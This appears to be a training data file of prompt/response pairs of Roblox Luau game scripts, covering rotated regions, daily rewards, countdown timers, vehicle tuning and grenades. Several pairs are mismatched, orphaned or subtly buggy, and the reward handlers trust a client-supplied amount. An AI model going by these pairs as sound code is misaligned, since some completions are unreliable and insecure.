script.Parent.MouseButton1Click:Connect(function ()
	marketplaceService:PromptPurchase(plr, 400812710) -- Prompts the user to get Realism Mod on click
end)


Prompt: -- Public Constructors

Response:
function RotatedRegion3.new(cframe, size)
	local self = setmetatable({}, RotatedRegion3)
	local set = Vertices.Block(cframe, size/2)

	self.CFrame = cframe
	self.Size = size
	self.Shape = "Block"

	self.Set = set
	self.Support = Supports.PointCloud
	self.Centroid = cframe.p

	self.AlignedRegion3 = Region3.new(worldBoundingBox(set))

	return self
end

RotatedRegion3.Block = RotatedRegion3.new

function RotatedRegion3.Wedge(cframe, size)
	local self = setmetatable({}, RotatedRegion3)
	local set = Vertices.Block(cframe, size/2)

	self.CFrame = cframe
	self.Size = size
	self.Shape = "Wedge"

	self.Set = Vertices.Wedge(cframe, size/2)
	self.Support = Supports.PointCloud
	self.Centroid = Vertices.GetCentroid(self.Set)

	self.AlignedRegion3 = Region3.new(worldBoundingBox(set))

	return self
end

function RotatedRegion3.CornerWedge(cframe, size)
	local self = setmetatable({}, RotatedRegion3)
	local set = Vertices.Block(cframe, size/2)

	self.CFrame = cframe
	self.Size = size
	self.Shape = "CornerWedge"

	self.Set = Vertices.CornerWedge(cframe, size/2)
	self.Support = Supports.PointCloud
	self.Centroid = Vertices.GetCentroid(self.Set)

	self.AlignedRegion3 = Region3.new(worldBoundingBox(set))

	return self
end

function RotatedRegion3.Cylinder(cframe, size)
	local self = setmetatable({}, RotatedRegion3)
	local set = Vertices.Block(cframe, size/2)

	self.CFrame = cframe
	self.Size = size
	self.Shape = "Cylinder"

	self.Set = {cframe, size/2}
	self.Support = Supports.Cylinder
	self.Centroid = cframe.p

	self.AlignedRegion3 = Region3.new(worldBoundingBox(set))

	return self
end

function RotatedRegion3.Ball(cframe, size)
	local self = setmetatable({}, RotatedRegion3)
	local set = Vertices.Block(cframe, size/2)

	self.CFrame = cframe
	self.Size = size
	self.Shape = "Ball"

	self.Set = {cframe, size/2}
	self.Support = Supports.Ellipsoid
	self.Centroid = cframe.p

	self.AlignedRegion3 = Region3.new(worldBoundingBox(set))

	return self
end

function RotatedRegion3.FromPart(part)
	return RotatedRegion3[Vertices.Classify(part)](part.CFrame, part.Size)
end


Prompt:
--[[if script.Parent.Parent.Values.Win.Value == true then
script.Parent.Parent.Sound.Win:Play()
script.Parent.Parent.Sound.Idle:Stop()
script.Parent.Parent.WINNER.Disabled = false
end]]

Response:
script.Parent.Parent.Configuration.GameOn.Value = false
script.Parent.Parent.MainScript.Disabled = false
script.Disabled = true
end
script.Parent.Parent.Sensortwo.Touched:Connect(onTouched)


Prompt: --// bolekinds

Response:
local Time = game:GetService("Lighting")
local Bandit = game.ServerStorage.Bandit
local BanditSpawns = workspace.BanditSpawns
local con
local mailboxcon

game.Lighting:GetPropertyChangedSignal("ClockTime"):Connect(function()
	if game.Lighting.ClockTime == 7 then
		local randomNum = math.random(1, 10)
		local banditRaid = false
		if randomNum >= 5 then
			banditRaid = true
		end
		game.ServerStorage.ServerData.Age.Value += 1
		game.ServerStorage.ServerData.Day.Value += 1
		if mailboxcon then
			mailboxcon:Disconnect()
		end
		if game.ServerStorage.ServerData.Day.Value >= 5 then
			if game.ServerStorage.ServerData.HasKeys.Value == false then
				workspace.Door.Knock:Play()
				workspace.Door.Sparkles.Enabled = true
				workspace.Door.ProximityPrompt.Enabled = true
				con = workspace.Door.ProximityPrompt.Triggered:Connect(function(plr)
					game.ServerStorage.key:Clone().Parent = plr.PlayerGui
					workspace.Door.Knock:Stop()
					workspace.Door.Sparkles.Enabled = false
					workspace.Door.ProximityPrompt.Enabled = false
					con:Disconnect()
				end)
			end
		end
		if game.ServerStorage.ServerData.HasKeys.Value == true then
			if banditRaid == true then
				workspace.Sound3:Play()
				game.ReplicatedStorage.Bandit:FireAllClients()
				repeat
					task.wait(2.5)
					local bandit = game.ServerStorage.Bandit:Clone()
					bandit.HumanoidRootPart.CFrame = BanditSpawns:GetChildren()[math.random(1, #BanditSpawns:GetChildren())].CFrame + Vector3.new(0,10,0)
					bandit.Parent = workspace.AttackableNPCS
				until workspace.Sound3.Playing == false
				for i, v in ipairs(workspace.AttackableNPCS:GetChildren()) do
					v:Destroy()
				end
				for i, v in ipairs(workspace.FloppaBlocker.bandits:GetChildren()) do
					v:Destroy()
				end
				game.ReplicatedStorage.Bandit2:FireAllClients()
				workspace.Sound3:Stop()
				workspace.Sound:Play()
			end
			workspace.Mailbox.Main.Sparkles.Enabled = true
			workspace.Mailbox.Main.ProximityPrompt.Enabled = true
			mailboxcon = workspace.Mailbox.Main.ProximityPrompt.Triggered:Connect(function(plr)
				workspace.Mailbox.Main.Sparkles.Enabled = false
				workspace.Mailbox.Main.ProximityPrompt.Enabled = false
				local c = game.ServerStorage.mailboxthings:GetChildren()[math.random(1,#game.ServerStorage.mailboxthings:GetChildren())]:Clone()
				c.Parent = plr.PlayerGui
				mailboxcon:Disconnect()
				mailboxcon = nil
			end)
		end
		game.ServerStorage.TempData.CanGiveRent.Value = true
		workspace.Roommate.Head.Dialog["Gimme rent"].ResponseDialog = "Alright"
	end
end)

while true do
	task.wait(0.05)
	Time:SetMinutesAfterMidnight(Time:GetMinutesAfterMidnight()+0.5)
end


Prompt: -- Gather advanced timing metrics for Profiler subtrees.

Response: exports.enableProfilerTimer = _G.__PROFILE__


Prompt: --Dia 1 reward

Response:
DailyRewardEvents.Reward1.OnServerEvent:Connect(function(player, Quantity)
	--script
	local Claimed = player.PlayerConfiguration.LoginState.Claimed1 --Cambiar claimed

	Claimed.Value = true

	local GamepassPointsMultiplier = player.PlayerConfiguration.PlayerMultipliers.PointsMultiplier
	local PlayerMultiplier = player.DataFolder.Multiplier

	player.DataFolder.Points.Value += (Quantity*GamepassPointsMultiplier.Value*PlayerMultiplier.Value)+(Quantity*GamepassPointsMultiplier.Value) --Reward

	Message.RewardClaimed:FireClient(player)
end)

DailyRewardEvents.Reward2.OnServerEvent:Connect(function(player, Quantity)
	--script
	local Claimed = player.PlayerConfiguration.LoginState.Claimed2 --Cambiar claimed

	Claimed.Value = true

	local GamepassPointsMultiplier = player.PlayerConfiguration.PlayerMultipliers.PointsMultiplier
	local PlayerMultiplier = player.DataFolder.Multiplier

	player.DataFolder.Points.Value += (Quantity*GamepassPointsMultiplier.Value*PlayerMultiplier.Value)+(Quantity*GamepassPointsMultiplier.Value) --Reward

	Message.RewardClaimed:FireClient(player)
end)

DailyRewardEvents.Reward3.OnServerEvent:Connect(function(player, Quantity)
	--script
	local Claimed = player.PlayerConfiguration.LoginState.Claimed3 --Cambiar claimed

	Claimed.Value = true

	local GamepassPointsMultiplier = player.PlayerConfiguration.PlayerMultipliers.PointsMultiplier
	local PlayerMultiplier = player.DataFolder.Multiplier

	player.DataFolder.Points.Value += (Quantity*GamepassPointsMultiplier.Value*PlayerMultiplier.Value)+(Quantity*GamepassPointsMultiplier.Value) --Reward

	Message.RewardClaimed:FireClient(player)
end)

DailyRewardEvents.Reward4.OnServerEvent:Connect(function(player, Quantity)
	--script
	local Claimed = player.PlayerConfiguration.LoginState.Claimed4 --Cambiar claimed

	Claimed.Value = true

	local GamepassPointsMultiplier = player.PlayerConfiguration.PlayerMultipliers.PointsMultiplier
	local PlayerMultiplier = player.DataFolder.Multiplier

	player.DataFolder.Points.Value += (Quantity*GamepassPointsMultiplier.Value*PlayerMultiplier.Value)+(Quantity*GamepassPointsMultiplier.Value) --Reward

	Message.RewardClaimed:FireClient(player)
end)

DailyRewardEvents.Reward5.OnServerEvent:Connect(function(player, Quantity)
	--script
	local Claimed = player.PlayerConfiguration.LoginState.Claimed5 --Cambiar claimed

	Claimed.Value = true

	local GamepassPointsMultiplier = player.PlayerConfiguration.PlayerMultipliers.PointsMultiplier
	local PlayerMultiplier = player.DataFolder.Multiplier

	player.DataFolder.Points.Value += (Quantity*GamepassPointsMultiplier.Value*PlayerMultiplier.Value)+(Quantity*GamepassPointsMultiplier.Value) --Reward

	Message.RewardClaimed:FireClient(player)
end)

DailyRewardEvents.Reward6.OnServerEvent:Connect(function(player, Quantity)
	--script
	local Claimed = player.PlayerConfiguration.LoginState.Claimed6 --Cambiar claimed

	Claimed.Value = true

	local GamepassPointsMultiplier = player.PlayerConfiguration.PlayerMultipliers.PointsMultiplier
	local PlayerMultiplier = player.DataFolder.Multiplier

	player.DataFolder.Points.Value += (Quantity*GamepassPointsMultiplier.Value*PlayerMultiplier.Value)+(Quantity*GamepassPointsMultiplier.Value) --Reward

	Message.RewardClaimed:FireClient(player)
end)


Response:
model = script.Parent.Parent.Parent.Drop   --This is the MODELNAME. you made a desk in the instructions SO name the part called MODELNAME to "Desk". Then change price to what you want.
Upgradecost = 0  -- Replace The Price You Want Where It Says 100


Prompt: --To make the dummy stay in the same place, so the player can't push the npc around

Response:
local HumanoidPosition = script.Parent.Parent.Position

script.Parent.Position = HumanoidPosition


Response:
function Raycast.FindPartOnRayWithCallbackWithIgnoreList(ray, list, terrainCellsAreCubes, ignoreWater, loopout, callbackFunc)
	local maxDistance = ray.Direction.Magnitude
	local direction = ray.Direction.Unit

	loopout = loopout or 25
	local loopCount = 0

	local lastPosition = ray.Origin
	local distance = 0

	local hit, position, normal, material

	repeat
		local r = Ray.new(lastPosition, direction * (maxDistance - distance))
		hit, position, normal, material = WORKSPACE:FindPartOnRayWithIgnoreList(ray, list, terrainCellsAreCubes, ignoreWater, true)
		local result = callbackFunc(hit, position, normal, material)

		if (result == CALLBACKRESULT.Continue) then
			distance = (ray.Origin - position).Magnitude
			lastPosition = position
		elseif (result == CALLBACKRESULT.Finished) then
			return hit, position, normal, material
		elseif (result == CALLBACKRESULT.Fail or result == nil) then
			break
		end

		loopCount = loopCount + 1
	until (loopCount > loopout or distance >= maxDistance - 0.1)

	return
end

function Raycast.FindPartOnRayWithCallbackWithWhiteList(ray, list, terrainCellsAreCubes, ignoreWater, callbackFunc)
	local maxDistance = ray.Direction.Magnitude
	local direction = ray.Direction.Unit

	local lastPosition = ray.Origin
	local distance = 0

	local hit, position, normal, material

	repeat
		local r = Ray.new(lastPosition, direction * (maxDistance - distance))
		hit, position, normal, material = WORKSPACE:FindPartOnRayWithWhiteList(ray, list, terrainCellsAreCubes, ignoreWater, true)
		local result = callbackFunc(hit, position, normal, material)

		if (result == CALLBACKRESULT.Continue) then
			distance = (ray.Origin - position).Magnitude
			lastPosition = position
		elseif (result == CALLBACKRESULT.Finished) then
			return hit, position, normal, material
		elseif (result == CALLBACKRESULT.Fail or result == nil) then
			break
		end
	until (distance >= maxDistance - 0.1)

	return
end

function Raycast.FindPartOnRayWithCallback(ray, ignore, terrainCellsAreCubes, ignoreWater, callbackFunc)
	return Raycast.FindPartOnRayWithCallbackWithIgnoreList(ray, {ignore}, terrainCellsAreCubes, ignoreWater, callbackFunc)
end


Prompt:
--[[
	Sets the velocity of the internal springs, overwriting the existing velocity
	of this Spring. This doesn't affect position.

	If the type doesn't match the current type of the spring, an error will be
	thrown.
]]

Response:
function class:setVelocity(newValue: PubTypes.Animatable)
	local newType = typeof(newValue)
	if newType ~= self._currentType then
		logError("springTypeMismatch", nil, newType, self._currentType)
	end

	self._springVelocities = unpackType(newValue, newType)
	SpringScheduler.add(self)
end


Prompt: --Update text

Response: text.Text = "HP: "..math.floor(char:WaitForChild("Humanoid").Health).."/"..char:WaitForChild("Humanoid").MaxHealth


Prompt: -- Public Functions

Response:
function CubicSpline:AtTime(t)
	local n = #self.Points
	local ct = math.clamp(t, 0, n)
	local floor = math.floor(ct)
	local ft = ct - floor

	local spline = (floor % (n - 1)) + 1
	local a, b, c, d = unpack(self.Coefficients)

	return a[spline] + b[spline]*ft + c[spline]*ft*ft + d[spline]*ft*ft*ft
end

function CubicSpline:AtPercentage(p)
	local t = p * self.TotalLength
	local lengths = self.Lengths

	if (p >= 1) then
		return self.Points[#self.Points]
	end

	local spline = 1
	while (t > lengths[spline]) do
		t = t - lengths[spline]
		spline = spline + 1
	end

	local s = t / lengths[spline]

	for i = 1, NEWTON_N do
		s = s - (integrate(self, spline, s) - t) / arcLengthIntegrand(self, spline, s)
	end

	return self:AtTime((spline - 1) + s)
end


Prompt:
--[[ Use Example

local countdownTimersModule = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientCountdownModule"))

local localPlayer = game:GetService("Players").LocalPlayer
local countdownTimerGUI = localPlayer:WaitForChild("PlayerGui"):WaitForChild("CountdownTimerGUI")

local bubbleTimerUI = countdownTimerGUI:WaitForChild("TopFrameUI"):WaitForChild("TimerBubbleUI")
local boardTimerUI = workspace
	:WaitForChild("CountdownBoardPart")
	:WaitForChild("SurfaceGui")
	:WaitForChild("TimerScreenUI")

function clientTimerReachedFunc()
	print("Timer Reached!!")
end

local timer = countdownTimersModule:AddTimer({
	Enabled = true,
	UniversalEventDate = DateTime.fromUniversalTime(2022, 4, 28, 14, 30, 0, 0), -- UTC (year, month, day, hour, minute)
	BubbleTimerUI = bubbleTimerUI,
	BoardTimerUI = boardTimerUI,
	AutomaticallyDisableAfter = 10, -- Seconds after the event date in which the timer will disable itself.
	DisableBubbleWhenBoardVisible = true,
	TimerReachedFunction = clientTimerReachedFunc,
	ReadableBoardDistance = 100,
})

-- Just example code for controlling the Enabled state
timer.Enabled = false
wait(2)
timer.Enabled = true

]]

Response:
local countdownTimersList = {}

local tweenService = game:GetService("TweenService")

local secondsPerMinute = 60
local secondsPerHour = secondsPerMinute * 60
local secondsPerDay = secondsPerHour * 24

function updateTimerUI(timerUI, timeUntil)
	if timerUI and timerUI.Parent and timerUI.Visible then
		-- Verify children exist
		local fullTimerFrame = timerUI:FindFirstChild("FullTimerFrame")
		local simpleTimerFrame = timerUI:FindFirstChild("SimpleTimerFrame")
		if not fullTimerFrame or not simpleTimerFrame then
			warn("Could not find FullTimerFrame or SimpleTimerFrame")
			return
		end
		local simpleTimerTextLabel = simpleTimerFrame:FindFirstChild("SimpleTextLabel")
		if not simpleTimerTextLabel then
			warn("Could not find SimpleTimerFrame.TextLabel")
		end
		local firstPairTextLabel = fullTimerFrame:FindFirstChild("FirstPairTextLabel")
		local secondPairTextLabel = fullTimerFrame:FindFirstChild("SecondPairTextLabel")
		local thirdPairTextLabel = fullTimerFrame:FindFirstChild("ThirdPairTextLabel")
		if not firstPairTextLabel or not secondPairTextLabel or not thirdPairTextLabel then
			warn("Could not find FirstPairTextLabel or SecondPairTextLabel or ThirdPairTextLabel")
		end
		local firstSubTextLabel = firstPairTextLabel:FindFirstChild("SubText")
		local secondSubTextLabel = secondPairTextLabel:FindFirstChild("SubText")
		local thirdSubTextLabel = thirdPairTextLabel:FindFirstChild("SubText")
		if not firstSubTextLabel or not secondSubTextLabel or not thirdSubTextLabel then
			warn(
				"Could not find a 'SubText' TextLabel for either FirstPairTextLabel, SecondPairTextLabel, or ThirdPairTextLabel"
			)
		end

		local days = math.floor(timeUntil / secondsPerDay)
		local remaining = timeUntil - (days * secondsPerDay)
		local hours = math.floor(remaining / secondsPerHour)
		remaining = remaining - (hours * secondsPerHour)
		local minutes = math.floor(remaining / secondsPerMinute)
		remaining = remaining - (minutes * secondsPerMinute)
		local seconds = math.floor(remaining)

		local shouldBeMini = false

		if days > 0 then
			-- Full counter with days
			fullTimerFrame.Visible = true
			simpleTimerFrame.Visible = false
			firstPairTextLabel.Text = string.format("%02i", days)
			firstSubTextLabel.Text = "DAY"
			secondPairTextLabel.Text = string.format("%02i", hours)
			secondSubTextLabel.Text = "HOUR"
			thirdPairTextLabel.Text = string.format("%02i", minutes)
			thirdSubTextLabel.Text = "MIN"
		elseif timeUntil > 10 then
			-- Full Counter with hours
			fullTimerFrame.Visible = true
			simpleTimerFrame.Visible = false
			firstPairTextLabel.Text = string.format("%02i", hours)
			firstSubTextLabel.Text = "HOUR"
			secondPairTextLabel.Text = string.format("%02i", minutes)
			secondSubTextLabel.Text = "MIN"
			thirdPairTextLabel.Text = string.format("%02i", seconds)
			thirdSubTextLabel.Text = "SEC"
		elseif timeUntil > 0 then
			-- Final Countdown from 10 seconds
			fullTimerFrame.Visible = false
			simpleTimerFrame.Visible = true
			simpleTimerTextLabel.Text = string.format("%01i", seconds)
			if timerUI.Name == "TimerBubbleUI" then
				simpleTimerTextLabel.TextScaled = false
				shouldBeMini = true
			end
			if timerUI:GetAttribute("LastSecond") ~= seconds then
				timerUI:SetAttribute("LastSecond", seconds)
				-- Pulse the countdown
				local pulse = simpleTimerTextLabel:clone()
				pulse.Name = pulse.Name .. "Pulse"
				local pulseUIScale = Instance.new("UIScale")
				pulseUIScale.Parent = pulse
				pulse.Parent = simpleTimerFrame
				tweenService:Create(
					pulse,
					TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
					{ TextTransparency = 1 }
				):Play()
				tweenService:Create(
					pulseUIScale,
					TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
					{ Scale = 3 }
				):Play()
				task.delay(1, function()
					if pulse then
						pulse:Destroy()
					end
				end)
			end
		else
			-- Starting now or time has passed
			fullTimerFrame.Visible = false
			simpleTimerFrame.Visible = true
			simpleTimerTextLabel.Text = "Starting Now..."
			simpleTimerTextLabel.TextScaled = true
		end

		if timerUI.Name == "TimerBubbleUI" then
			if shouldBeMini then
				timerUI.Size = UDim2.new(0, 110, 1, 0)
			else
				timerUI.Size = UDim2.new(0, 200, 1, 0)
			end
		end

		if timerUI.Name == "TimerScreenUI" then
			local startingInTextLabel = timerUI:FindFirstChild("StartingInTextLabel")
			if startingInTextLabel then
				startingInTextLabel.Visible = timeUntil > 0
			end
		end
	end
end

function findSurfaceGui(subject) -- Will go up the parent graph looking for a surface gui and the part it is attached to.
	if subject and subject.Parent then
		if subject:IsA("SurfaceGui") then
			return subject
		else
			return findSurfaceGui(subject.Parent)
		end
	else
		warn("Could not find an anscestor surfaceGui for BoardTimerUI.")
	end
end

function updateTimerVisuals(timer)
	local timeUntil = timer.UniversalEventDate.UnixTimestampMillis / 1000 - workspace:GetServerTimeNow()

	-- Fire TimerReachedFunction if necessary
	if timeUntil > 0 then
		timer.PrimedTimerReached = true
	elseif timer.PrimedTimerReached then
		timer.PrimedTimerReached = false
		if typeof(timer.TimerReachedFunction) == "function" then
			timer.TimerReachedFunction()
		end
	end

	if timer.AutomaticallyDisableAfter and timeUntil * -1 > timer.AutomaticallyDisableAfter then
		timer.Enabled = false
	end
	if timer.BubbleTimerUI then
		local shouldBeVisible = true
		-- Check to see if we should hide the bubbleTimerUi because the board is reasonably visible
		if timer.Enabled and timer.DisableBubbleWhenBoardVisible and timer.BoardTimerUI then
			local surfaceGui = findSurfaceGui(timer.BoardTimerUI)
			if surfaceGui then
				local boardPart = surfaceGui.Adornee or surfaceGui.Parent
				if boardPart and boardPart:IsA("BasePart") then
					-- Check to make sure board is close enough to read
					local camera = workspace.CurrentCamera
					local boardCameraDistance = (boardPart.Position - camera.CFrame.Position).magnitude
					if boardCameraDistance <= timer.ReadableBoardDistance then
						-- Check if board is facing player
						local surfaceVector = boardPart.CFrame:VectorToWorldSpace(Vector3.FromNormalId(surfaceGui.Face))
						local cameraDirectionMatch = surfaceVector:Dot(camera.CFrame.LookVector)
						if cameraDirectionMatch < -0.5 then
							-- Check if the board is on screen
							local worldPoint = boardPart.Position
							local _, onScreen = camera:WorldToScreenPoint(worldPoint)
							if onScreen then
								shouldBeVisible = false
							end
						end
					end
				end
			end
		end
		timer.BubbleTimerUI.Visible = timer.Enabled and shouldBeVisible
	end
	if timer.BoardTimerUI then
		timer.BoardTimerUI.Visible = timer.Enabled
	end
	if timer.Enabled then
		updateTimerUI(timer.BubbleTimerUI, timeUntil)
		updateTimerUI(timer.BoardTimerUI, timeUntil)
	end
end

function updateTimers()
	for _, timer in pairs(countdownTimersList) do
		updateTimerVisuals(timer)
	end
end

local heartbeatConn = nil

local timerMetatable = {
	Enabled = true,
	UniversalEventDate = DateTime.fromUniversalTime(2025, 1, 1, 0, 0, 0, 0),
	ReadableBoardDistance = 120,
}
timerMetatable.__index = timerMetatable

local countdownTimersModule = {}

function countdownTimersModule:AddTimer(timerPropertiesTable)
	local timer = setmetatable(self, timerMetatable)
	for property, value in pairs(timerPropertiesTable) do
		timer[property] = value
	end
	table.insert(countdownTimersList, timer)

	if not heartbeatConn then
		heartbeatConn = game:GetService("RunService").Heartbeat:Connect(updateTimers)
	end

	return timer
end

function countdownTimersModule:RemoveTimer(timer)
	local timerIndex = table.find(countdownTimersList, timer)
	if timerIndex then
		updateTimerVisuals(timer)
		table.remove(countdownTimersList, timerIndex)

		if #countdownTimersList <= 0 and heartbeatConn then
			heartbeatConn:Disconnect()
			heartbeatConn = nil
		end

		return true
	else
		warn("Unable to remove timer because it was not found.")
	end
end

function countdownTimersModule:GetTimers()
	local newList = {}
	for i, v in ipairs(countdownTimersList) do
		newList[i] = v
	end
	return newList
end

return countdownTimersModule


Prompt: --[[ Initialization/Setup ]]

Response:
--
local function createTouchGuiContainer()
	if TouchGui then TouchGui:Destroy() end

	-- Container for all touch device guis
	TouchGui = Instance.new('ScreenGui')
	TouchGui.Name = "TouchGui"
	TouchGui.Parent = PlayerGui

	TouchControlFrame = Instance.new('Frame')
	TouchControlFrame.Name = "TouchControlFrame"
	TouchControlFrame.Size = UDim2.new(1, 0, 1, 0)
	TouchControlFrame.BackgroundTransparency = 1
	TouchControlFrame.Parent = TouchGui
end


Prompt: -- Global Pet Float

Response:
local maxFloat = .75
local floatInc = 0.035
local sw = false
local fl = 0

spawn(function()
	while true do
	    wait()
	    if not sw then
	        fl = fl + floatInc
	        if fl >= maxFloat then
	            sw = true
	        end
	    else
	        fl = fl - floatInc
	        if fl <=-maxFloat then
	            sw = false
	        end
	    end
		script.Parent.globalPetFloat.Value = fl
	end
end)


Prompt:
--Alarm Light--
-- Proximity Prompts in the Deposit Box--

Response: local depositpr1 = script.Parent.DepositBoxDoor1.Attachment.ProximityPrompt


Prompt:
--[[for i=0,revEnd*2 do
	local ln = script.Parent.ln:clone()
	ln.Parent = script.Parent.Tach
	ln.ZIndex = 4
	ln.Rotation = 45 + i * 225 / (revEnd*2)
	ln.Num.Text = i/2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(0.862745, 0.0784314, 0.235294)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.ZIndex = 2
			ln2.Parent = script.Parent.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end]]

Response:
if script.Parent.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0.95, 0,1, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0.95, 0,1, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 43 + 215 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)

script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Parent.Values.Gear.Value
	if gearText == 0 then gearText = "N"
	elseif gearText == -1 then gearText = "R"
	end
	script.Parent.Gear.Text = gearText
end)

script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Parent.Values.Gear.Value
	if gearText >= 1 then script.Parent.GearImage.ImageColor3 = Color3.new(0, 1, 0.4)
	elseif gearText == -1 then script.Parent.GearImage.ImageColor3 = Color3.new(1, 1, 1)
	end
	script.Parent.Gear.Text = gearText
end)

script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Parent.Values.Gear.Value
	if gearText >= 1 then script.Parent.Gear.TextColor3 = Color3.new(0, 1, 0.4)
	elseif gearText == -1 then script.Parent.Gear.TextColor3 = Color3.new(1, 1, 1)
	end
	script.Parent.Gear.Text = gearText
end)

script.Parent.Tach.Needle.Changed:Connect(function()
	if script.Parent.Tach.Needle.Rotation >= 235 then
		script.Parent.GearImage.ImageColor3 = Color3.new(1, 0.16, 0.16)
		script.Parent.Gear.TextColor3 = Color3.new(1, 0.16, 0.16)
	elseif script.Parent.Tach.Needle.Rotation < 220 then
		script.Parent.GearImage.ImageColor3 = script.Parent.GearImage.ImageColor3
		script.Parent.Gear.TextColor3 = script.Parent.Gear.TextColor3
	end
end)

function Speed()
	local SpeedVal = script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude
	local MPHScale = (10/12) * (60/88)
	local KPHScale = (10/12) * 1.09728
	if SpeedType == "MPH" then
		if SpeedVal*MPHScale < 100 then
			if SpeedVal*MPHScale < 10 then
				script.Parent.Speed.Text = "00"..math.floor(SpeedVal*MPHScale)
			else
				script.Parent.Speed.Text = "0"..math.floor(SpeedVal*MPHScale)
			end
		else
			script.Parent.Speed.Text = math.floor(SpeedVal*MPHScale)
		end
	end
end

script.Parent.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 215 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)

script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function()
	Speed()
end)

wait(.1)
Speed()


Prompt: -- A simple function to explode a specified part

Response:
function Explode(part)
	local explosion = Instance.new("Explosion", workspace)
	explosion.ExplosionType = Enum.ExplosionType.NoCraters
	explosion.Position = part.Position
	explosion.BlastRadius = config.ExplosionRadius.Value
	part:Destroy()
script.Parent:remove()
end

script.Parent.Throw.OnServerEvent:connect(function(player, mousePosition)
	local handlePos = Vector3.new(tool.Handle.Position.X, 0, tool.Handle.Position.Z) -- remove Y from the equation, it's not needed
	local mousePos = Vector3.new(mousePosition.X, 0, mousePosition.Z) -- ditto
	local distance = (handlePos - mousePos).magnitude -- Get the distance between the handle and the mouse
	local altitude = mousePosition.Y - tool.Handle.Position.Y
	local angle = AngleOfReach(distance, altitude, config.GrenadeVelocity.Value) -- Calculate the angle

	tool.Handle.Transparency = 1
	local grenade = tool.Handle:Clone()
	grenade.Parent = workspace
	grenade.Transparency = 1
	grenade.CanCollide = true
	grenade.CFrame = tool.Handle.CFrame
	grenade.Velocity = (CFrame.new(grenade.Position, Vector3.new(mousePosition.X, grenade.Position.Y, mousePosition.Z)) * CFrame.Angles(angle, 0, 0)).lookVector * config.GrenadeVelocity.Value -- Throwing 'n stuff, it probably didn't need to be this long
	spawn(function()
	if config.ExplodeOnTouch.Value then
		grenade.Touched:connect(function(hit)
			if hit.Parent ~= tool.Parent and hit.CanCollide then -- Make sure what we're hitting is collidable
				Explode(grenade)
			end
		end)
	else

			wait(config.FuseTime.Value)
			Explode(grenade)
	end
	end)
	wait(config.Cooldown.Value)
	tool.Handle.Transparency = 1
end)


Prompt: -- Whether to allow building outside of private areas

Response: Security.AllowPublicBuilding = true;


Prompt:
--[[
	Races a set of Promises and returns the first one that resolves,
	cancelling the others.
]]

Response:
function Promise.race(promises)
	assert(type(promises) == "table", string.format(ERROR_NON_LIST, "Promise.race"))

	for i, promise in pairs(promises) do
		assert(Promise.is(promise), string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.race", tostring(i)))
	end

	return Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel)
		local newPromises = {}
		local finished = false

		local function cancel()
			for _, promise in ipairs(newPromises) do
				promise:cancel()
			end
		end

		local function finalize(callback)
			return function (...)
				cancel()
				finished = true
				return callback(...)
			end
		end

		if onCancel(finalize(reject)) then
			return
		end

		for i, promise in ipairs(promises) do
			newPromises[i] = promise:andThen(finalize(resolve), finalize(reject))
		end

		if finished then
			cancel()
		end
	end)
end


Prompt: --[[Front]]

Response:
--
Tune.FTireProfile	= 2		-- Tire profile, aggressive or smooth
Tune.FProfileHeight	= .4		-- Profile height, conforming to tire

Tune.FTireCompound	= 1			-- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear
Tune.FTireFriction	= 1		-- Your tire's friction in the best conditions.


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 350	--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 9000		--		Use sliders to manipulate values
	Tune.Redline		= 11000
	Tune.EqPoint		= 5000
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt:
--[[
	OUTLINE:
		Abilities Needed:
			- Pathfinding
			- Picking up Tools
			- Straffing*
--]]


Prompt:
--[=[
	@within TableUtil
	@function Lock
	@param tbl table
	@return table

	Locks the table using `table.freeze`, as well as any
	nested tables within the given table. This will lock
	the whole deep structure of the table, disallowing any
	further modifications.

	```lua
	local tbl = {xyz = {abc = 32}}
	tbl.xyz.abc = 28 -- Works fine
	TableUtil.Lock(tbl)
	tbl.xyz.abc = 64 -- Will throw an error (cannot modify readonly table)
	```
]=]

